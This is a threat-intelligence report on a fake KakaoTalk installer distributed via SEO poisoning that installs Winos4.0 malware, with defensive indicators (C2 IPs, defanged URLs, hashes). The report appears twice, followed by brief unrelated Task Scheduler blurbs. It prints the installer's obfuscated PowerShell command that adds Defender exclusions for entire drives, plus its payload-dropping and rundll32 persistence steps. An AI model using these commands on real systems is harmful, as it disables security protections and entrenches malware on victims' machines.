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# distribution Methods – SEO Poisoning Typically, people perceive the sites that appear at the top of Google search results as the “most authoritative and official” sites. however, threat actors are playing on the psychology of such users, manipulating the search engine’s algorithms to place malicious sites at the top. SEO poisoning is an attack technique in which threat actors exploit search engine optimization (SEO) techniques to push malicious websites they control to the top of search results for specific keywords, often on pages one to three. the goal is to distribute malware or steal information by directing users to a carefully crafted fake site when they are trying to download official software or find information. [Figure 1] SEO Poisoning attack process AhnLab Security Intelligence Center (ASEC) recently confirmed that approximately 5,000+ PCs were infected when a fake KakaoTalk installer file was circulated using such SEO Poisoning techniques. the file looks like a KakaoTalk installer on the surface, but it executes malware internally and stays on the system continuously. Figure 2 below shows that the fake KakaoTalk installer is at the top of the list when searching for the PC version of KakaoTalk on Google. this is not the official KakaoTalk download page, but a fake site created by threat actors utilizing KakaoTalk characters and logos to look similar. the fake site appears to have used SEO poisoning techniques to trick search engine algorithms to force the malicious page to rank at the top for certain keywords. [Figure 2] Fake KakaoTalk sites appearing at the top of search engines (Bing and Google) The fake KakaoTalk sites are as follows, * hxxps://pc-kakaocorp[.]com The URL to which you are redirected to download the final malware is as follows. * hxxps://download.i96l6[.]top/KakaoTalk_Setup_patched.RAR * hxxps://xinjiapox.oss-ap-southeast-1.aliyuncs[.]com/KakaoTa2258.zip According to our infrastructure, the fake KakaoTalk installation file distributed in the above way was first distributed on March 9th. [Figure 3] Trend of fake KakaoTalk installation files (~3/14) # malware Analysis When downloading the installation file from the fake site, malware with the image of KakaoTalk is downloaded as shown below. It is signed with an invalid certificate with the name “NetEase” in China, not the officially distributed certificate of Kakao. [Figure 4] Invalid digital signature information The NSIS installation file contains a lot of encrypted data along with legitimate NSIS configuration files, and decrypts them during the execution process to create and execute malicious components such as Verifier.exe and AutoRecoverDat.dll. It also adds Windows Defender exception paths to weaken security features and secures persistence through DLL registration. in addition, it disguises itself as a legitimate installation file by creating and placing a legitimate KakaoTalk_Setup.exe together. ; Defender exception (neutralization) StrCpy $0 “cmd.exe /C powe$\”$\”r$\”$\”s$\”$\”h$\”$\”ell.exe -Ex$\”$\”ec$\”$\”uti$\”$\”o$\”$\”nPol$\”$\”ic$\”$\”y By$\”$\”pa$\”$\”s$\”$\”s -C$\”$\”om$\”$\”ma$\”$\”n$\”$\”d Ad$\”$\”d$\”$\”-M$\”$\”pPr$\”$\”ef$\”$\”ere$\”$\”nce -Ex$\”$\”cl$\”$\”usion$\”$\”Path C:\, D:\,E:\,F:\” nsExec::Exec $0 ; decryption and drop of encrypted payload StrCpy $R0 $TEMP\temp_k.txt StrCpy $R1 $TEMP\lic.dat DcryptDll::Decrypt FFF $R0 $R1**$LOCALAPPDATA\Verifier.exe** StrCpy $R2 $TEMP\Profilerjson DcryptDll::Decrypt FFF $R0 $R2 $LOCALAPPDATA\Profiler.json StrCpy $R3 $TEMP\GPUCachexml DcryptDll::Decrypt FFF $R0 $R3 $APPDATA\GPUCache.xml StrCpy $R5 $TEMP\GPUCache2xml DcryptDll::Decrypt FFF $R0 $R5 $APPDATA\GPUCache2.xml DcryptDll::Decrypt FFF $R0 $R3 $APPDATA\Embarcadero\GPUCache.xml DcryptDll::Decrypt FFF $R0 $R5 $APPDATA\Embarcadero\GPUCache2.xml StrCpy $R4 $TEMP\Auto.dat DcryptDll::Decrypt FFF $R0 $R4 $APPDATA\Embarcadero\AutoRecoverDat.dll ; Malicious DLL registration (persistence) StrCpy $8 “cmd.exe /C $\”start rundll32.exe $APPDATA\Embarcadero\AutoRecoverDat**.dll** ,DllRegisterServer$\”” nsExec::Exec $8 ; Run the main payload Exec $LOCALAPPDATA\Verifier.exe Sleep 25000 ; Create a normal KakaoTalk installation file and shortcut to it StrCpy $R9 $INSTDIR\DIR DcryptDll::Decrypt FFF $R0 $R9 $INSTDIR\KakaoTalk_Setup.exe CreateShortCut $DESKTOP\KakaoTalk_Setup.lnk $INSTDIR\KakaoTalk_Setup.**exe** ; includes additional obfuscated files File eqinpqabpwm File omyivwqtlzwtnl File xkaljrsp File ziucakk ; Registry tagging WriteRegStr HKCU MicrosoftUser Source kakao --- The behavior that performs malicious functions after the initial installation file is divided into two files. the execution flow is divided by the ShellCode (Profiler.json) file loaded by Verifier.exe and the ShellCode (GPUCache.xml) file loaded by AutoRecoverDat.dll executed by rundll32.exe. The relationship between the main files utilized by the malware is shown in the table below. **file name** | **role** ---|--- Verifier.exe | patches legitimate software to load ShellCode (Profiler.json) Profiler.json | ShellCode (Reflective DLL Loader, sRDI open source) GPUCache.xml | Winos4.0 malware GPUCache2.xml | Winos4.0 malware AutoRecoverDat.DLL | Loader that loads ShellCode (GPUCache.xml) The Verifier.exe file and AutoRecoverDat.dll file are executed in different ways, but both load GPUCache.xml or GPUCache2.xml (Winos4.0 malware). After creating a mutex with the hard-coded name **77825d8f-46d1-42d0-b298-83068bf9e31d** via the**CreateMutexA** API, the ShellCode that is loaded depends on two conditions. * condition 1: Whether or not a mutex with the same name already exists * condition 2: Whether the ActivityLog.xml file exists in the %APPDATA%\Embarcadero path If both conditions are met, the ShellCode of the %APPDATA%\Embarcadero\GPUCache2.xml file name is loaded; if either condition is not met, the ShellCode of the %APPDATA%\Embarcadero\GPUCache.xml file name is loaded. [Fig. 5] Difference of ShellCode file to load according to conditions It was also confirmed that C2 changes depending on which ShellCode is loaded. * GPUCache.xml * C2 : 192.238.129[.]47 * Port : 18852 * GpuCache2.xml * C2 : 119.28.70[.]225 * Port : 443 The **GPUCache(2).xml** file that is loaded at this time is a ShellCode that starts with 0xE8(OPCODE: CALL). it is not encrypted, so it has the code as it is, and it contains another executable file (DLL) inside. When ShellCode is executed, it loads the DLL file into memory and executes it. [Fig. 6] PE signature (MZ) inside ShellCode There is also logic to check if an AV product is installed. given that the targeted AV products checked by the threat actors are **360 Total Security and ZhuDongFangYu** , which are predominantly utilized in China, it is likely that the malware was originally created for distribution sites in China. [Figure 7] Determine if the AV product is active Depending on whether or not the AV product in question exists on the system, the subsequent method of maintaining persistence will differ, but in the end, the Task Scheduler will be created as shown below. * path (common): Microsoft\Windows\AppID * Task1: .NET Framework adv v6.0.4232 * Action: %LocalAppData%\Verifier.exe * Task2: .NET Framework JDAH v7.7 * Action: rundll32.exe %AppData%\Embarcadero\AutoRecoverDat.dll, DllRegisterServer Finally, the operational malware is identified as Winos4.0 malware. Winos4.0 malware mainly has the functions of screen capture, file/process control, system information collection, downloading additional malware, and avoiding monitoring/analysis environments. In particular, there is logic to execute packets received from C2 in the memory space allocated by VirtualAlloc if the C2 communication is successful. this means that additional malware can be executed, and it also means that the threat actor can change the attack flow as desired. # conclusion The more familiar a program is, the more likely users are to hit the “download” button without question. threat actors take advantage of such psychological lulls. Impersonating a program that is so deeply embedded in our daily lives, like KakaoTalk, can cause more than just hacking, it can cause serious damage to society as a whole. just because it’s at the top of the search results doesn’t mean it’s safe. make it a habit to check the official domain before downloading any installation files. Never forget that one cleverly crafted file can steal your personal information and assets in an instant. MD5 0ab84f52d043f7a7af54bd4df0331d64 108849450dd8410bf6217c9a7af82ab3 29152e0473edef5defc6752dabd0c53d 56ad524a33e5bb1ae8fee88d41b33294 8cad997c53fa31274ef0f542535c83b3 URL https[:]//download[.]i96l6[.]top/KakaoTalk_Setup_patched[.]rar https[:]//pc-kakaocorp[.]com/ https[:]//xinjiapox[.]oss-ap-southeast-1[.]aliyuncs[.]com/KakaoTa2258[.]zip IP 119[.]28[.]70[.]225 192[.]238[.]129[.]47 Gain access to related IOCs and detailed analysis by subscribing to **AhnLab TIP**. For subscription details, click the banner below. #### Tags: 카카오톡 SEOpoisoning TaskScheduler Winos4.0

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# distribution Methods – SEO Poisoning Typically, people perceive the sites that appear at the top of Google search results as the “most authoritative and official” sites. however, threat actors are playing on the psychology of such users, manipulating the search engine’s algorithms to place malicious sites at the top. SEO poisoning is an attack technique in which threat actors exploit search engine optimization (SEO) techniques to push malicious websites they control to the top of search results for specific keywords, often on pages one to three. the goal is to distribute malware or steal information by directing users to a carefully crafted fake site when they are trying to download official software or find information. [Figure 1] SEO Poisoning attack process AhnLab Security Intelligence Center (ASEC) recently confirmed that approximately 5,000+ PCs were infected when a fake KakaoTalk installer file was circulated using such SEO Poisoning techniques. the file looks like a KakaoTalk installer on the surface, but it executes malware internally and stays on the system continuously. Figure 2 below shows that the fake KakaoTalk installer is at the top of the list when searching for the PC version of KakaoTalk on Google. this is not the official KakaoTalk download page, but a fake site created by threat actors utilizing KakaoTalk characters and logos to look similar. the fake site appears to have used SEO poisoning techniques to trick search engine algorithms to force the malicious page to rank at the top for certain keywords. [Figure 2] Fake KakaoTalk sites appearing at the top of search engines (Bing and Google) The fake KakaoTalk sites are as follows, * hxxps://pc-kakaocorp[.]com The URL to which you are redirected to download the final malware is as follows. * hxxps://download.i96l6[.]top/KakaoTalk_Setup_patched.RAR * hxxps://xinjiapox.oss-ap-southeast-1.aliyuncs[.]com/KakaoTa2258.zip According to our infrastructure, the fake KakaoTalk installation file distributed in the above way was first distributed on March 9th. [Figure 3] Trend of fake KakaoTalk installation files (~3/14) # malware Analysis When downloading the installation file from the fake site, malware with the image of KakaoTalk is downloaded as shown below. It is signed with an invalid certificate with the name “NetEase” in China, not the officially distributed certificate of Kakao. [Figure 4] Invalid digital signature information The NSIS installation file contains a lot of encrypted data along with legitimate NSIS configuration files, and decrypts them during the execution process to create and execute malicious components such as Verifier.exe and AutoRecoverDat.dll. It also adds Windows Defender exception paths to weaken security features and secures persistence through DLL registration. in addition, it disguises itself as a legitimate installation file by creating and placing a legitimate KakaoTalk_Setup.exe together. ; Defender exception (neutralization) StrCpy $0 “cmd.exe /C powe$\”$\”r$\”$\”s$\”$\”h$\”$\”ell.exe -Ex$\”$\”ec$\”$\”uti$\”$\”o$\”$\”nPol$\”$\”ic$\”$\”y By$\”$\”pa$\”$\”s$\”$\”s -C$\”$\”om$\”$\”ma$\”$\”n$\”$\”d Ad$\”$\”d$\”$\”-M$\”$\”pPr$\”$\”ef$\”$\”ere$\”$\”nce -Ex$\”$\”cl$\”$\”usion$\”$\”Path C:\, D:\,E:\,F:\” nsExec::Exec $0 ; decryption and drop of encrypted payload StrCpy $R0 $TEMP\temp_k.txt StrCpy $R1 $TEMP\lic.dat DcryptDll::Decrypt FFF $R0 $R1**$LOCALAPPDATA\Verifier.exe** StrCpy $R2 $TEMP\Profilerjson DcryptDll::Decrypt FFF $R0 $R2 $LOCALAPPDATA\Profiler.json StrCpy $R3 $TEMP\GPUCachexml DcryptDll::Decrypt FFF $R0 $R3 $APPDATA\GPUCache.xml StrCpy $R5 $TEMP\GPUCache2xml DcryptDll::Decrypt FFF $R0 $R5 $APPDATA\GPUCache2.xml DcryptDll::Decrypt FFF $R0 $R3 $APPDATA\Embarcadero\GPUCache.xml DcryptDll::Decrypt FFF $R0 $R5 $APPDATA\Embarcadero\GPUCache2.xml StrCpy $R4 $TEMP\Auto.dat DcryptDll::Decrypt FFF $R0 $R4 $APPDATA\Embarcadero\AutoRecoverDat.dll ; Malicious DLL registration (persistence) StrCpy $8 “cmd.exe /C $\”start rundll32.exe $APPDATA\Embarcadero\AutoRecoverDat**.dll** ,DllRegisterServer$\”” nsExec::Exec $8 ; Run the main payload Exec $LOCALAPPDATA\Verifier.exe Sleep 25000 ; Create a normal KakaoTalk installation file and shortcut to it StrCpy $R9 $INSTDIR\DIR DcryptDll::Decrypt FFF $R0 $R9 $INSTDIR\KakaoTalk_Setup.exe CreateShortCut $DESKTOP\KakaoTalk_Setup.lnk $INSTDIR\KakaoTalk_Setup.**exe** ; includes additional obfuscated files File eqinpqabpwm File omyivwqtlzwtnl File xkaljrsp File ziucakk ; Registry tagging WriteRegStr HKCU MicrosoftUser Source kakao --- The behavior that performs malicious functions after the initial installation file is divided into two files. the execution flow is divided by the ShellCode (Profiler.json) file loaded by Verifier.exe and the ShellCode (GPUCache.xml) file loaded by AutoRecoverDat.dll executed by rundll32.exe. The relationship between the main files utilized by the malware is shown in the table below. **file name** | **role** ---|--- Verifier.exe | patches legitimate software to load ShellCode (Profiler.json) Profiler.json | ShellCode (Reflective DLL Loader, sRDI open source) GPUCache.xml | Winos4.0 malware GPUCache2.xml | Winos4.0 malware AutoRecoverDat.DLL | Loader that loads ShellCode (GPUCache.xml) The Verifier.exe file and AutoRecoverDat.dll file are executed in different ways, but both load GPUCache.xml or GPUCache2.xml (Winos4.0 malware). After creating a mutex with the hard-coded name **77825d8f-46d1-42d0-b298-83068bf9e31d** via the**CreateMutexA** API, the ShellCode that is loaded depends on two conditions. * condition 1: Whether or not a mutex with the same name already exists * condition 2: Whether the ActivityLog.xml file exists in the %APPDATA%\Embarcadero path If both conditions are met, the ShellCode of the %APPDATA%\Embarcadero\GPUCache2.xml file name is loaded; if either condition is not met, the ShellCode of the %APPDATA%\Embarcadero\GPUCache.xml file name is loaded. [Fig. 5] Difference of ShellCode file to load according to conditions It was also confirmed that C2 changes depending on which ShellCode is loaded. * GPUCache.xml * C2 : 192.238.129[.]47 * Port : 18852 * GpuCache2.xml * C2 : 119.28.70[.]225 * Port : 443 The **GPUCache(2).xml** file that is loaded at this time is a ShellCode that starts with 0xE8(OPCODE: CALL). it is not encrypted, so it has the code as it is, and it contains another executable file (DLL) inside. When ShellCode is executed, it loads the DLL file into memory and executes it. [Fig. 6] PE signature (MZ) inside ShellCode There is also logic to check if an AV product is installed. given that the targeted AV products checked by the threat actors are **360 Total Security and ZhuDongFangYu** , which are predominantly utilized in China, it is likely that the malware was originally created for distribution sites in China. [Figure 7] Determine if the AV product is active Depending on whether or not the AV product in question exists on the system, the subsequent method of maintaining persistence will differ, but in the end, the Task Scheduler will be created as shown below. * path (common): Microsoft\Windows\AppID * Task1: .NET Framework adv v6.0.4232 * Action: %LocalAppData%\Verifier.exe * Task2: .NET Framework JDAH v7.7 * Action: rundll32.exe %AppData%\Embarcadero\AutoRecoverDat.dll, DllRegisterServer Finally, the operational malware is identified as Winos4.0 malware. Winos4.0 malware mainly has the functions of screen capture, file/process control, system information collection, downloading additional malware, and avoiding monitoring/analysis environments. In particular, there is logic to execute packets received from C2 in the memory space allocated by VirtualAlloc if the C2 communication is successful. this means that additional malware can be executed, and it also means that the threat actor can change the attack flow as desired. # conclusion The more familiar a program is, the more likely users are to hit the “download” button without question. threat actors take advantage of such psychological lulls. Impersonating a program that is so deeply embedded in our daily lives, like KakaoTalk, can cause more than just hacking, it can cause serious damage to society as a whole. just because it’s at the top of the search results doesn’t mean it’s safe. make it a habit to check the official domain before downloading any installation files. Never forget that one cleverly crafted file can steal your personal information and assets in an instant. MD5 0ab84f52d043f7a7af54bd4df0331d64 108849450dd8410bf6217c9a7af82ab3 29152e0473edef5defc6752dabd0c53d 56ad524a33e5bb1ae8fee88d41b33294 8cad997c53fa31274ef0f542535c83b3 URL https[:]//download[.]i96l6[.]top/KakaoTalk_Setup_patched[.]rar https[:]//pc-kakaocorp[.]com/ https[:]//xinjiapox[.]oss-ap-southeast-1[.]aliyuncs[.]com/KakaoTa2258[.]zip IP 119[.]28[.]70[.]225 192[.]238[.]129[.]47 Gain access to related IOCs and detailed analysis by subscribing to **AhnLab TIP**. For subscription details, click the banner below. #### Tags: 카카오톡 SEOpoisoning TaskScheduler Winos4.0

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FluentTaskScheduler : un Planificateur de tâches Windows modernisé FluentTaskScheduler est une alternative moderne et gratuite au Planificateur de tâches de Windows, avec une interface Fluent Design soignée.

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Someone finally made a modern Windows Task Scheduler with Fluent Design Windows 11's forgotten Task Scheduler just got a sleek Fluent makeover from a fan, and it might make you ditch the classic app.

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TaskScheduler 1.0 A set of scripts to work with the Task Scheduler

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Persistent COM Surrogates running Python scripts calling Pro and Location Sharing via Task Scheduler When I use Task Scheduler to run a Python script that references an APRX containing our Tracks layer from Location Sharing (Enterprise), and I am NOT logged in, a persistent COM Surrogate is created. I have a script I want to run every 5 minutes but cannot because these COM Surrogates build up and c...

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305 - TickerQ, un'ottima idea di base, ma potrà competere con Hangfire e Quartz? In questa puntata scopriamo TickerQ, un nuovo Job Scheduler che entra in competizione con Hangfire e Quartz.NET. In questa puntata andiamo a vedere cosa lo differenzia dagli altri, ed il come lo si utilizza. - https://github.com/Arcenox-co/TickerQ - https://tickerq.arcenox.com/ #dotnet #tickerq #jobscheduler #taskscheduler #podcast #dotnetinpillole

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Threat Actors Leverage Windows Task Scheduler to Embed Malware and Maintain Persistence A comprehensive follow-up analysis to the FGIR investigation titled "Intrusion into Middle East Critical National Infrastructure" has revealed.

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FireDaemon Pro and Pro OEM 6.1.4 FireDaemon Pro 6 for Microsoft Windows. Run any app or program as a Windows service. Monitor service performance via the Service Resource Monitor. Tag services.

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FireDaemon Synkronize a C++ Timepoint Generator Library FireDaemon Synkronize is a C++ library for Windows that can be used to generate blueprint pattern based timepoints to schedule recurring tasks.

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New Windows Task Scheduler Vulnerabilities Allows Command Execution as Admin User Critical Windows Task Scheduler involving the schtasks.exe binary could enable malicious actors to execute commands with SYSTEM-level privileges, bypass User Account Control (UAC) prompts, and erase a...

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